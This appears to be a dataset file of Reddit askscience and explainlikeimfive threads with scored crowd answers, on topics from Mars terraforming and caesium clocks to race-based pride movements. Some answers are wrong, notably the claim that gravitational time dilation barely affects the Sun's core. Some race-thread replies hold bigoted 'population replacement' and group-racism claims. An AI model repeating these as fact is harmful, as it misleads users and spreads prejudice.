{"q_id": "4nv5xb", "title": "Can we use giant carbon scrubbers to terraform Mars?", "selftext": "    The martian atmosphere is composed of 95.32 percent carbon dioxide. so couldn't we build large carbon scrubbers on mars similar to the atmospheric processors in Ridley Scott's alien series? Of course you would have to warm up the planet to make it habitable, and do a bunch of other stuff. But wouldn't giant carbon scrubbers produce enough oxygen for humans to breath?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4nv5xb/can_we_use_giant_carbon_scrubbers_to_terraform/", "answers": {"a_id": ["d476s0q"], "score": [10], "text": ["The problem with the atmosphere on Mars is that it's really thin. About 160 times thinner than the Earth atmosphere.\n\nSo even if you'd be able to overcome the lack of oxygen by somehow converting the atmospheric CO2 into O2 (and byproducts) on a planetary level, the O2 concentration you'd be left with would be about 30 times lower than what we have on Earth at sea level or 10 times lower than at the summit of Mt Everest.\n\nSo why not pump the atmosphere full with fresh gas brought in from elsewhere to increase its thickness? Unfortunately, that solution, other than being an engineering feat of unparalleled proportions, wouldn't solve the problem for good, because Mars tends to lose its atmosphere due to solar winds stripping it off. Unlike Earth, Mars doesn't have a strong global magnetic field that shields it against solar wind. Research (NASA's MAVEN orbiter) has shown that atmospheric depletion on Mars is higher in times of increased solar wind activity.\n\nSo, in conclusion, there doesn't seem to be an \"easy\" way to terraform Mars. Instead, human colonies will have to rely on closed structures that maintain an Earth-like atmosphere while the rest of Mars remains uninhabitable."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3833i2", "title": "why i'm so willing to spend $20 on a case of beer and $10 more for pizza, but have a hard time spending $30 bucks on a pair of jeans and a tshirt that will last me months or possibly years?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3833i2/eli5_why_im_so_willing_to_spend_20_on_a_case_of/", "answers": {"a_id": ["crruy70", "crruz65", "crrwiql", "crrx5lt", "crrxqkn", "crrxrev", "crrxwnd", "crry09d", "crry0tz", "crry3bp", "crrydhz", "crrye06", "crryhsc", "crryivz", "crryl6n", "crrymo3", "crryn3x", "crryok6", "crryon1", "crrysyh", "crrz5p7"], "score": [343, 25, 22, 89, 4, 3, 3, 9, 15, 10, 4, 4, 3, 3, 2, 8, 2, 6, 2, 2, 2], "text": ["Because the beer and pizza is instant gratification. You spend the money and you get the item and enjoy it. With the clothes, you spend the money but won't necessarily wear the items right away. So you put them in your closet and wait to wear them. Since there's no instant gratification you are subconsciously not as willing to spend the money there. ", "Instant gratification is a thing, it affects us all at some point and can make us seem like we have no self control. ", "$30 bucks for a pair of jeans is a lot for you? You better not venture over to /r/rawdenim then.", " $30 for jeans  &  shirt? Damn bro where the hell u shopping? ", "Wait for summer and get the jeans on clearance! Clothing is way overpriced. Head to the thrift shop in a nice area and pop some tags! ", "Your mind gives everything that you commonly buy a value. A Little Caesar's pizza is $5. If they increased the cost to $7, it would still be the cheapest pizza you could buy, but you would be reluctant to buy it because in your mind, it is worth only $5.\n\nSame with beer and jeans. You probably think that $20 is a good value for a case of beer because you are getting just what you want, but $30 is too much for a pair of jeans because you can get a pair that is just as good for $20.", "Dont care about: Timmy's coffee, about $2  \nSteam purchase: This game sale is $1 more expensive! Fuck that guy!", "Instant gratification versus delayed gratification. People are able to spend $150 a month on Starbucks, but are unable to save even that amount for retirement. Blame dopamine and serotonin.", "People tend to be less cost conscious of spending on social experiences. There's peer pressure to not skimp on things.", "My recommendation is to buy the case of beer then a pair of jeans, the decision will be way easier.\n\n\n\nAside from instant gratification and artisanal whatever that's already been covered, there is the simple expectation of value.\n\nYou expect a case of beer to be $20 and $10 for a pizza and you make this purchase semi-regularly so the association of getting what you payed for is strong. Jeans  &  t-shirt arn't a common expense (unless you really hate doing laundry), so the transaction is less familiar to you, you're entering a world where you don't necessarily know if you're getting your $ worth.  \n\nOther end is $10 pizza isn't complete garbage, but if you wanted to I doubt you'd be hard pressed to find a $30 pizza.  For jeans + t-shirt, $30 is already starting at the really cheap end, so you'll rarely get to feel quality or like you've necessarily bought yourself something all around awesome.\n\n(I go for thrift store leather shoes, $10-$20 for $100+ shoes, thrift store jeans, but mostly wear boutique slacks that are $150 up front, but last a good 2-3 years as long as they arn't worn every day)", "Sugar and carbs are highly addictive. I think a lot of people are overlooking this reason and overthinking it a bit. They load soda and candy up with so much sugar, it hits this \"sweet spot\" in us and we can become very addicted to high sugar. Same with the carbs as they get converted to sugars in our bodies.", "People are using instant vs delayed gratification to explain this, but I think it's different. Start with the pizza. Food is the ultimate necessity in life, so almost everyone is quickly willing to pay for it. Sure, efficient home-cooked meals might be cheaper, but lifestyle and habit dictate how one's food money gets spent. Beer is certainly not a necessary expense, but it is one that many people have become accustomed to making frequently. Habit dictates that it's one you're willing it have. You made that decision a while ago. Clothes, especially given your example, are not as frequent a purchase for you, and not as important to you. So even if they are worth as much as the beer and pizza, your brain has to process the decision from a more fundamental level than the food/drink. That decision is already habit.\n\nTL;DR Your brain keeps decisions that it makes often more accessible than those it makes infrequently.", "Because your pair of jeans cost the American brand $5 and was made by 3rd world children working in unsafe conditions. You are being ripped off and helping promote slavery at the same time!\n\nThe margins on those food items are not nearly as large. Pizza costs $10 everywhere on the planet. ", "You can get a pair of jeans AND a t shirt for 30 bucks?\n\nWhere?", "In the hierarchy of needs, food and drink come before clothing. \n\nAn a worse-case scenario (such as losing your luggage or access to your house) you could go a few days in the clothes you're wearing now.\n\nTry going a few days without food. \n\nSo I would say that satisfying the immediate need for food would be more valuable to you than buying something that you already have. ", "Demonination bias: basically it's easier for people to spend 100 $1.00 bills than it is to spend 1 $100 dollar bill. That's why the home shopping networks do the \"over time\" and why rental places make so much money. Even if we know at the base level that we are spending either the same amount or more over time, it \"seems\" like we are spending less money if we look at it from smaller amounts.\n\nFor the complicated maths: _URL_0_\n\nThis also combines with the uncertainty bias in the OP's example because we see the beer and pizza as something that we can benefit from right away (or at least right when we get home). If, say you crapped your pants and you have the option of spending $30 on beer and pizza, or spending $50 on a new pair of jeans to wear out of the store, you will spend the extra money for the instant gratification. This is also why lottery winners will usually choose the lump sum that ends up being less than half the total winnings over a payout over time.\n\nTL:DL - Basically humans are in need of instant gratification, and we want to spend as little as possible on each individual item at the moment of purchase, even if that means we are spending a lot more spread out over multiple purchases or time. We also would rather have $1 now than $0.50 each week for 6 weeks.", "Because you're a cheap bastard. Seriously, $30 for jeans and a shirt? That's cheap as fuck.", "Maslow's hierarchy of needs: Pizza and beer satisfy hunger and thirst-both very real biological needs. Also, you can eat both of those things naked. It's more fun that way.", "Beer will get you through times of no jeans better than jeans will get you through times of no beer. ", "$20 case of beer = delicious and refreshing time with friends  \n$10 pizza = DELICIOUS and filling + instant party  \n$30 jeans = possibly low quality jeans that don't taste good at all", "I think there's also the question of whether you \"think\" about it or not.\n\nFor example, I'll spend $4 without thinking at all about a dessert whereas I could just not get dessert this day or get a cheaper one, but confronted with a $2.99 app, I will wonder whether I'll actually be using it, because that's an \"expensive\" app."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Hyperbolic_discounting#Mathematical_model"], [], [], [], [], []]}
{"q_id": "hzk3o", "title": "Would it be possible to add the gene(s) for spoken language (FOXP2?) to chimpanzees, dogs etc..?", "selftext": "Maybe it's not necessarily the FOXP2 gene that is responsible or solely responsible, but whatever the genes are, could they substitute it in other primates and see what happens? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/hzk3o/would_it_be_possible_to_add_the_genes_for_spoken/", "answers": {"a_id": ["c1zny4q"], "score": [14], "text": ["You're right to note that FOXP2 is not \"solely responsible\", and probably not even close. There really is no such thing as \"the gene for language\", or in general, the \"gene for X\", where \"X\" is some complex behavior that humans do.\n\nNow, say we're a few hundred years in the future (or however long it would take), and we've figured out every gene that's involved in language production, and we know exactly how they interact with one another, what their independent functions are, etc. Basically, say we know the whole picture at the genetic level.\n\nSo let's imagine there are 5 genes involved in language production. In reality that number is almost certainly going to be far higher^(footnote) , probably closer to 500 than to 5, but for simplicity, let's say it's 5.\n\nWe'll call them *GeneA, GeneB, GeneC, GeneD*, and *GeneE* (I know, I'm real creative).\n\nSo these 5 genes interact to allow us to speak. The thing is, they almost certainly do other things as well. This is called [Pleiotropy](_URL_0_). *FOXP2*, for example, is also implicated in lung development I believe. So in reality, *GeneA* might be involved in lung development, *GeneB* in the cardiovascular system, *GeneC* in kidney function, *GeneD* in skeletal growth, and *GeneE* in muscle function.\n\nSo if you pull out the endogenous genes and replace them with their human homologs, you're also going to affect those systems as well. *GeneA* is going to have a whole cadre of genes it works with in the lung, and switching in a different copy is probably going to throw that whole system off. The same will be true for *GeneB, GeneC, GeneD*, and *GeneE* in the heart, kidney, skeleton, and muscles, respectively.\n\nNow, for the sake of the example, you could posit that, \"well, why don't we just swap in the human versions of all of *those* genes as well,\" but I think you can see where this is going. You'd have to keep swapping in new genes to stabilize different systems, until by the time you were done, you'd probably just have built a human.\n\nI suppose you could posit that eventually we get *really, really, really* outrageously good at genetics, and are able to restrict expression of our 5 genes involved in language development (which, if you'll recall, is probably more like 500) to only the places where they are involved in that phenomenon, while leaving the endogenous copies in place in all the other places, but I think that is probably so ridiculously far beyond our grasp at present (if it's even possible at all), that it's not really worth entertaining.\n\nNow, as is always the case with thought experiments like this, we need a few disclaimers.\n\n >  1 I've probably hyperbolized a bit. In my example, all 5 genes involved in language development were pleiotropic. In reality, it's probably true that not all genes are like that. Exactly what proportion of genes are pleiotropic is something that, to my knowledge, is still debated.\n\n >  2 You've asked a very speculative question, so I've given a rather speculative answer. The above *seems* almost unquestionably correct to me, given the knowledge I have of genetics (which is about that of a first year graduate student), but given the number of uncertainties left in genetics, I can't say that history will show it to be 100% correct.\n\n*footnote:* If you think about it for a second, you'll realize that language is probably far more complex than you'd ever imagined. Not only do we need to have the mental capability for abstraction, description, and all that other good stuff (which has got to be tough enough as it is), we also need to have vocal cords that are capable of making enough different sounds to communicate. The same is true of the mouth, tongue, and lips. You also need to have very fine control over your breathing, which other primates or mammals may not. Many of these changes could require large physiological/anatomical modifications."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Pleiotropy"]]}
{"q_id": "1ofbtc", "title": "why is 'white power' movement regarded as distasteful and bigoted, while 'black power' and 'latino pride' are perceived to be healthy manifestations of minority struggle?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ofbtc/eli5_why_is_white_power_movement_regarded_as/", "answers": {"a_id": ["ccrffl8", "ccrh2fu", "ccrhiqq", "ccri0hr", "ccrjw22", "ccrk268", "ccrkeaw", "ccrkjpx", "ccrl1bu", "ccrn1xn", "ccrn8qa", "ccrnzkr", "ccrolya", "ccromt0", "ccrqbwk", "ccrr5wm", "ccrs0cn", "ccrsgw0", "ccrsl6f", "ccrst2i", "ccrszvr", "ccrt4q8", "ccrtojk", "ccru2s1", "ccru7l8", "ccru7na", "ccrujrs", "ccrux23", "ccrvhrj", "ccrvrd8", "ccrvtjm", "ccrvuf2", "ccrvwdd", "ccrwkv9", "ccrx41o", "ccry1bg", "ccry2we", "ccrywwl", "ccryy6c", "ccrz154", "ccrz3kj", "ccrz6zi", "ccrz7da", "ccrz9d4", "ccrznbo", "ccrzxdu", "ccs1dug", "ccs25q6", "ccsjhp4", "cct5bum"], "score": [953, 40, 2842, 12, 4, 3, 2, 3, 2, 2, 24, 3, 2, 4, 2, 2, 5, 2, 3, 5, 27, 3, 4, 10, 18, 2, 2, 5, 3, 4, 2, 2, 46, 9, 12, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 3, 2, 5, 3, 2], "text": ["I think you've answered your own question: 'minority struggle'.\n\nWhite people have never been an oppressed class in modern Western society, whereas Black people, as you'll no doubt be aware, have until incredibly recently (and, in some cases, still are).\n\nThe ideology of the Black Power movement (which I'll address because I've never heard of Latino Pride, although it sounds like a great cocktail name idea if anyone fancies it), was one of self-determination. It is not, as white power is, associated with the assertion of dominance over other 'races'. The 'white power' movement is not only redundant in that white people don't lack any power in society, but is also caught up with ideas of neo-nazism, of white-supremacy and harkens back to the oppressors during the Civil Rights movement.\n\nTL;DR: White Power is historically superfluous, typically code for 'Down with everyone who isn't white'; 'Black Power' was a call for representation and unity of an oppressed class.\n\n**Edit:** This has had a lot of responses. One point to clarify: by *'White people have never been an oppressed class in modern Western society'*, I'm not omitting to remember that Irish people, Italians, Jews and lots of others have been subject to awful crimes. My point is that 'white people' as a group have not had the treatment that 'black people' as a group have. In both cases, the homogeneous use of 'black' or 'white' is quite silly, probably quite damaging, but these aren't my terms.\n\n**Second Edit:** A clich\u00e9, I realise, but many thanks to whomsoever thought my comment was worth spending money on. I tried my best to defend this point as clearly as possible elsewhere, but now, in my drunken haze, can do so no further. Do send me a message if you wish to discuss this further in future, and best wishes to you all.", "Because the black power movement of the 70s was about educating and empowering blacks, helping black communities, and helping black people. ie it was to better the lives of the average black. It has a message of black equality, not black superiority.\n\nWhite power is about keeping non whites down and a message that whites are superior to other races.\n\nOne message is a positive one: Making black peoples' lives better, the other is negative: the inherent inferiority of non whites and the need to kill, expel, or subjugate them.\n\nIf the message of white power was \"white kids, stay in school, you are beautiful the way you are\" and the black power message was \"kill whitey\" then the perceptions would be reversed.", "\"Pride\" and \"power\" movements are about reconstructing, as legitimate cultures, identities which have been historically denigrated or marginalized. Gay, Latino, black (etc.) pride movements reclaim a particular identity from a mainstream culture which has established that identity as something negative, or at best permanently excluded from the mainstream.\n\nThe problem with trying to create a movement which mirrors that process for empowered or majority groups, regardless of its actual associations (e.g., like the fact \"white pride\" is invariably not-so-subtle cover for vicious bigotry) is that the necessary preconditions don't exist. The idea of \"white pride\" isn't to reclaim an identity which has been obscured by an intervening, dominant cultural narrative--the classic example I always think of is Franz Fanon's *Black Skin, White Masks*, wherein he recounts the story of black kids who grow up on comic books whose protagonists are invariably white, and whose villains are black, typically depicted in pretty racist faction. The fact that these stories (which are only one example of a broader cultural process he's talking about) demand the kids sympathize with the people *not* like them, and force them to see people *like* them as bestial and inhuman, leads to a distressing cognitive dissonance. At best, they're stuck with the understanding that society, at least as the mainstream culture presents itself to them, does not *want* them, and is not *for* them. White people pretty obviously don't have that problem, certainly not when conceived of as a group; trying to create a specific \"white\" identity to be proud of isn't, then, reclaiming one's place in society, it's saying, in effect, \"Yeah, we've been running things since, like, forever, and we're pretty much OK with that.\" \"White\" really only exists as an identity created in opposition to \"black,\" which is an identity created to exclude what is historically a very heterogenous group of people. Celebrating that whiteness doesn't end a process of exclusion, it just celebrates a history of oppression.\n\nTo put it another way: some people, fancying themselves witty and original, like to trot out the old rhetorical question, \"How come there isn't a White Entertainment Television?\" There is--it's called *every other channel on the TV.* Hence the reason why someone might need to create a BET in the first place--because the production of mainstream media is targeted at the dominant social groups, not the subordinate ones. Likewise, the creation of women-only spaces is much less problematic than male-only spaces--since male-only spaces have existed for centuries, have tended to be at the heart of society (for instance, all of politics before women got the vote; even now, political leadership in the U.S. is dominated by white men), and have not ever really had a big problem justifying themselves to the rest of society. People might look at the [Michigan Womyn's Music Festival](_URL_0_) and see it as no different from an all-male country club, but they're really not the same thing--the latter really is just the continuation of a history of entitlement and exclusion, while the former is an effort to create a space in which an identity or set of identities (in this case, that of women) can be explored without direct interference from overriding and controlling cultural narratives (which is not to say I have much affection for the former, I simply cite them as a well-known example). Trying to compare the two is false equivalence at best; usually, it is just concern trolling.", "Some minority movements are perceived as distasteful, to the point that members of the movement are branded \"terrorists\", such as the American Indian Movement (one of my university teachers was a \"terrorist\" because he was involved in a rally as a toddler).\n\nIt looks like the movement has better standing now, but for a period in the 1970's it was considered terrorist.  I think a lot of it had to do with this: _URL_0_\n\nSo not every minority group is considered a healthy manifestation.", "We want white power. We're not going to stop until we have fair representation in Congress, the Supreme Court, and among CEO's of Fortune 500 corporations. \n\n(In case I need to belabor the point, the US is about 17% black. The US Senate is currently 1% black and the House of Representatives is about 5% black. There are six black CEO's of Fortune 500 companies. Someone else can do the research on Latinos. )", "All of these posts for a troll account. I doubt OP actually cared but damn good on you ELI5.", "One way to answer your question: Seeing Blacks, Latinos...as a minority and saying that Whites are not a minority are made up ideas that are sold to you by the system to create division in the society.\nThink about it: there is no much difference between a lower class white worker and a lower class latino worker, or black, they are all exploited.\nSo, saying that whites have never been oppressed is false, of course they have been.\nThose divisions have been created to try to erase in people minds the real division: the division between classes, the class warfare is very real.\nAlso I don't think you can even compare Black and Latinos, black come from slavery and had a huge history of discrimination and suffering. This is not the case for Latinos who only suffered from the regular struggle of poor immigrants. I know people will argue with me.\n\nAlso it might change in the future I guess as there is more and more Latinos in the US at a point where they will be the majority very soon. This is not immigration but this is a replacement of population plain and simple. You raised an interesting question and we will see when Latinos won't be a minority anymore. ", "I find it funny when people Justify \"black power\" movements with something that contains the theme of - well White people are in power.\n\nIf this is you: then you sir/madam, are a blind fool.\n\nWhite people do NOT have the power or unfair advantage in the west. That privilege is reserved for the rich and landed 'elite'. Now while it just so happens that in some nations the majority of those people happen to be white is really neither here nor there.\n\nThe prejudice has always been rich-poor. Many of the ethnic divides and [insert race] power groups were actually instigated or at the very least agitated by the very rich. \n\nIf the peasants are arguing about who gets more beans per week, then they won't be questioning the fact that you're the only one who eats meat.\n\nWho has the better start in life? the poor 'white' kid or the rich 'black' kid?\nWho is more likely to get that nice office job, middle class well spoken 'black' person or working class, common speaking 'white' person?\n\nand it works so very perfectly, look even here intelligent people arguing the case. We struggle to find jobs...\"because white people are favoured in the work place / because black people get affirmative action\"\n\nNO - you struggle to find work because a very rich person exported as many jobs as possible to the third world where modern-day slaves work in conditions that make the 'cotton-picking' slaves of old look like a fully unionised workforce.\n\nWhite power movements are considered bad, because people erroneously believe that 'white' people are in power. Where as 'white' power and 'black' power movements are essentially the same. Poor people who feel trapped by society and without genuine opportunities who have come to the idea, or have been convinced that, this is due to skin colour.\n\nWhile skin colour MAY play a part, and one would be stupid to suggest genuine racism doesn't exist. By far and away the biggest form of discrimination anyone is likely to experience is one based on class and/or wealth.\n\nI'd go into greater detail - but dinner is ready", "I get the creeps when I hear the words \"La Raza Puro.\" I think racism is racism.\n", "What 'White Power' movement?", "\"White power\" movements are typically about establishing their own inherent superiority, not about demanding fair and equal treatment from groups which have mistreated them.", "Honestly, the idea of taking pride in a specific aspect of your life, is a good one.\n\nHowever people seem to feel that you cannot publicly be proud of who you are, unless you have been oppressed, murdered, and just in general been treated awfully currently or in the past for being different. By different i mean you're not a straight white male.\n\nI did see this post on Tumblr that said \"Asking for straight pride is like asking for able bodied parking spaces\", i loled a little, however it got me thinking. Because people get angry when an able bodied person just goes and parks in a disabled spot, however no one cares if you bring your straight friends who are supportive to a gay pride event.\n\nIt's weird because you could say that `normal` parking spaces *are* able bodied parking spaces, but i would say it's more the `everyone else` parking spaces. And this is what it comes back to. Unless you have a specific reason to need special treatment, you are just a part of everyone else.\n\nIt is kind of hypocritical when you think about it, we give ourselves huge pride events and demand equality, however if anyone else tries it, and we think they don't deserve it, we will try and stop them, or we will generally degrade the idea. Don't you think you're kind of spreading the hate that you yourself are trying to fight against?\n\nWe are all human, can't we let each other celebrate who we are without being judged or shunned by other people.", "Since we live in a global world, it's safe to say White are the real minorities because they are only 8% of the worlds population.", "I would seriously like to see an ELI5 explaining why this is a hard concept to grasp. ELI5 Empathy please.", "Minority pride movements are attempts to climb out of a hole.  The white power movement is an attempt to put other people into one.", "Because we won, so we have to stand on tippy toes", "its like saying \"why is it that when wwii veterans went and shot nazis it was brave, but when i go to an elementary school and shoot it up, suddenly i'm the bad guy!\" \n\nnot all things that can be compared are equivalent.", "Because when heard \"white power\" most people see hatred towards other races(thanks to racism/kkk/slavery/segregation). When u hear \"black power/latino pride\" we see more of a unity of the group and proving Their(our) worth in society. ", "As a white male, I am pretty offended by the assertion that I and others like me only define ourselves as white to revel in bigotry.  I have a family tree full of Italians, but as I've never been to Italy, don't know any words in the language, and don't hold to any Italian traditions- being white is all that I've got in terms of culture.  \n\nI don't know, I just bristle at the fact that \"white pride\" means hatred to so many people.  ", "In as few words as possible: ethnic pride is always okay, regardless of color. Igbo pride, Irish pride, Chicano pride, Cherokee pride - it's all fine and good.\n\nHowever, unlike ethnicity, race is not about culture. It is a social construction that exists only to privilege some groups at the expense of others. Black pride is a celebration of overcoming oppression. White pride is a celebration of oppressing.", "By calling it a \"minority struggle,\" you've answered your own question my friend", "ELI5- Why does this shitty question get asked at least once a week? ", "same reason why we tell kids not to be bullies, and to stand up to bullies", "One thing to consider is that white power movements are often seeking to gain/maintain *dominance* in their particular culture, and they are often fairly hostile to members of other ethnic groups. Those who seek to promote white power have a pretty bad record overall, ie KKK in America, Nazis in Europe. This is not to say all white power groups are like this (although I have not encountered any who were not), but seeing as we are talking about public perception... this is how they are perceived.\n\nMovements linked to other racial groups, however, are usually focused on particular issues which disproportionately affect them. Some examples of this are immigration, public perception/treatment of race, and poverty. There are certainly groups that are racist or overly hostile about their movements, but this is not, or is not considered to be the norm.\n\nTL;DR: We perceive white power groups to be about keeping other racial groups down, and movements like black power and latino pride to be about gaining equality.\n", "I'll try to keep it short, as if you were five.\n\n\"White Power\" was/is the idea that everyone who is white is better than anyone who is not. This movement has lead to the death and violence against many people.\n\n\"Black power/Insert Minority Pride\" is/was movements to express the love of the individual and to better the lives of the minority. However, sometimes this has lead to violence as well, but that wasn't the main goal.\n\nIt's ok to be proud of who you are. It's ok to be proud of your white ancestry. You could say \"I'm Norwegian and proud.\" And it would be completely fine. Same goes for \"I'm Nicaraguan and proud\" etc.", "Not sure if up vote promotes post or promotes white power...", "There is no reason to be proud of your race. Any race. You did not choose to be the race you are. You played no role in it. You can be happy that you happened to be born into a certain race, but being prideful of something you didn't earn is just vain.\n\n*That said Team Latinoam\u00e9rica is best team*\n\n", "As an Ecuadorian American I'm actually questioning what \"Latino pride\" encompasses. We aren't a racial group and there isn't any unifying factor as all Latin American nations have very different cultures. One can be black, white, indigenous or even Asian Hispanic/Latino.", " > Why is 'white power' movement regarded as distasteful and bigoted, while 'black power' and 'latino pride' are perceived to be healthy manifestations of minority struggle?\n\n'cause white people aren't a struggling minority, son", "To be honest, I find any racial pride movement to be inappropriate. Same goes for national pride, etc. You're taking pride in accomplishments you had nothing to do with and representing yourself and your identity based on something you didn't choose and were simply born into.", "It's to induce guilt on whites, as if other races are not racist\n\n", "_URL_0_ starts up and no one bats an eye.\n\nI start _URL_1_ and everybody loses their minds!", "tl/dr - white power = we whites are superior\n\nblack power = we blacks are not inferior\n\nlatino pride = we latinos are not inferior", "What makes sense to me is that white people were already in power, so saying \"white power\" is basically saying \"lets never be equal.\" While when minorities are saying it from a lower position of power is saying \"lets get equal to those white people.\"", "I'm from New Zealand, and like the US and a few other countries we have struggled to have genuine equality between different cultures. Why? It's history.. as other posters have noted the actions of history create the social/economic conditions of today, and consequently the sense of culture or minority power/opportunity percived by people of the day. \n\nIt just so happens that skin colour is the literal point of difference. \n\nWe have \"Maori\" who are considered \"indigenous\" as they had sailed here prior to the Europeans who then mapped and named the islands, followed naturally by \"colonising\" them and imposing the european culture on the locals. Unfortunately, and true to the history of the planet, it so happened that the Maori were not \"white\". So was born \"White oppression\" - It actually did happen, the same as slavery in the US.. So the Maoris rightfully feel aggrieved. Their culture was systematically destroyed even if it was not a delibertate plan. Now they struggle to preserve their language and ways of life - by this I mean family values and core concepts to how to be a person. From this struggle a cluster of entities wore born attempting to preserve the culture and values - these are valid for any society, of any colour. Culture is a way of life that comes from the environment in which the people lived - it's more geographical than philosophical in many ways.\n\nIt gets messy when people start using \"power\"  &  \"pride\" as the banner and then act like some kind of \"resistance\" to the \"white occupation\" of their land and culture. That's when it goes like bad religion and thugs use it to justify violence. True of either \"colour\".. In my country the \"Black Power\" is simply a gang  &  nothing more _URL_0_ , and \"White Power\" is the name Racist thugs use to validate themselves when doing exactly the same thug violence.\n\nSo. To ELI5 - The history created the world we live in, people like you and I keep racial sterotypes alive, and thugs turned a cultural ideal into racist violence.\n\nEdit addendum; What is a \"white person?\" Actually they mean European in descent only.. Welsh are different from Russians in the same way Turks are different to Persians, and they are all called \"arabs\" or Vietnamese are different to Japanese and they are all called \"asians\", I'm pretty sure the american \"blacks\" are now so far removed from africa that they are not trying to preserve a way of life that relates to their history, as Africa is so diverse in culture that they really have no idea what their culture is - let's remember that slavery was legal!! \nUs, the people of today make this real - I live on a pacific island, born here and so were my parents. Yet I cannot be a \"Pacific Islander\" as this is reserved for people with a dark skin tone from other islands like Tonga or Samoa.. I have no link to Europe, no family there, never been there yet my goverment ( &  probably yours) insists that I am a \"European\".. That friends is officially sanctioned legal racisim", "Because bragging when you've already won is unsightly.\n\n^^^^^(Disclaimer: ^^^^This ^^^^is ^^^^a ^^^^joke.)", "Because everyone knows white people are the only ones capable of being racist, duh. ", "Serious question: is there any place in the world where there is a significant white minority that suffers oppression? ", "Put it this way. I shaved my head (like I always do) and got asked by three black guys at work if \"I was in some kind of gang or something\" \nNow could you IMAGINE the backlash/your fired/ get jumped if I had asked a similar question? Most black people are FAR more racist than any whites I know.", "I do not perceive them as healthy. Pride in general is the root of evil. However people, by contrast, will root for the underdog so they can get away with it easier. Many with a bad moral compass, or that are simply confused think its acceptable though. It only serves to further segregation based on race, but it serves some forcefully needed purposes.", "The answer is already in the question.\n\nWhere a majority race that already wields power states how powerful they are it is oppressive. If a minority group suggests they seek power, it is generally about getting heard, not dominating and oppressing.\n\n[The guy](_URL_0_) in Tienanmen square with his shopping bag was expressing a desire to be heard, the fleet of tanks facing him, really didn't need to express their desire for power.", "What about Pale Power?\n", "Irish , Italian , Polish pride is perfectly cool, white pride is just hating on other groups. I go to Polish festivals, Russian festivals, St Patrick Days parade, Italian heritage celebrations. So ethnic pride and power is cool but not white power. ", "Remember what George Carlin said about things we're proud of _URL_0_", "Why don't white people have to assimilate into other cultures to be prosperous and be able to have a better life? Why don't they need to wear a dashiki to get a job that is predominantly ran by blacks? It is because white people control everything and other cultures feel left out because they have to act and behave like white people. These types of movements are a way of minorities to demonstrate that they are not bad people just because they have a different culture.", "Just having some popcorn over here in the corner.\n", "I find this weird too, considering white people are now the minority ", "Lets pretend the world is made up of only 12 people. You, Jimmy the bully and 10 others. Jimmy the bully spends 2000 years kicking the shit out of everyone. Using anything as an excuse. \"Hey Big Ears, Im going to pound you. After a few hundred years of getting your ass beat, apparently because you have big ears, things seem to calm down. Jimmy is still messing with you, but the constant beatings stop. Jimmy seems to have moved on to the gay kid, so you are feeling a bit safe. You might attempt to reverse the negativity of big ears. \"Big Ear pride!\" Its so catchy that even Jimmy starts using it, \"Jimmy Pride\"... And that's where the fun stops. See Jimmy just hears the words. Jimmy cant see that the only reason you need to publicly express pride is because of him. And, What the hell is Jimmy so proud of? Getting rich by stealing your lunch money? In fact, you could argue that everything Jimmy has was stolen from others... so Jimmy pride really pisses you off.", "white is not a race white is not a race white is not a race white is not a race white is not a race white is not a race white is not a race white is not a race white is not a race white is not a race white is not a race white is not a race etc etc etc", "Blacks and latinos are fighting repression, while whites are creating it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Michigan_Womyn%27s_Music_Festival"], ["http://en.wikipedia.org/wiki/Wounded_Knee_Incident"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["Blackpeoplemeet.com", "Whitepeoplemeet.com"], [], [], ["http://www.teara.govt.nz/en/gangs/page-3"], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Tank_Man"], [], [], ["http://www.youtube.com/watch?v=xR2PhY0OPSY"], [], [], [], [], [], []]}
{"q_id": "1i8j8n", "title": "Why was Caesium picked to define the second on?", "selftext": "What's special about Caesium?\n\nWouldn't it make more sense to define the second based on an element more abundant and commonly found around the universe? (Hydrogen, Helium, Carbon - easily found on/in the person who needs it)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1i8j8n/why_was_caesium_picked_to_define_the_second_on/", "answers": {"a_id": ["cb22n80", "cb236mz"], "score": [3, 27], "text": ["Here's a nice explanation of how they work:\n\n_URL_0_", "In a nutshell, reproducibility.\n\nStandards need to be reproducible, so that any lab anywhere can re-create the standard on their own. Caesium has a few properties regarding its hyperfine transition that give it advantages over other elements. Additionally, nearly 100% of the caesium found in nature is a single isotope, which nearly eliminates isotopic purity concerns."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://hyperphysics.phy-astr.gsu.edu/hbase/acloc.html"], []]}
{"q_id": "xi0n0", "title": "How significantly does time dilation affect the rate at which our star (the sun) fuses hydrogen at its core?", "selftext": "I read recently that the sun's overall energy production per mass was far less than warm-blooded mammals (like ourselves).  Suffice to say, this was quite a shock to me.  I was wondering how much the gravitational time-dilation factors into this.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/xi0n0/how_significantly_does_time_dilation_affect_the/", "answers": {"a_id": ["c5mimwz", "c5minwh"], "score": [7, 2], "text": ["Hardly at all, as in the core of the Sun you are hardly affected by gravity. Look at [Gauss' Law](_URL_1_) and the [Shell theorem](_URL_0_)\n\nMost of the graviational time dilatation happens at the surface of the Sun.", "Time dilation does not have any relavance. If you look at the average density of the Sun it is rather diffuse. Energy production only takes place in the core which is a relatively small region that consists of a small portion of the mass of the Sun."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Shell_theorem", "http://en.wikipedia.org/wiki/Gauss%27s_law_for_gravity"], []]}
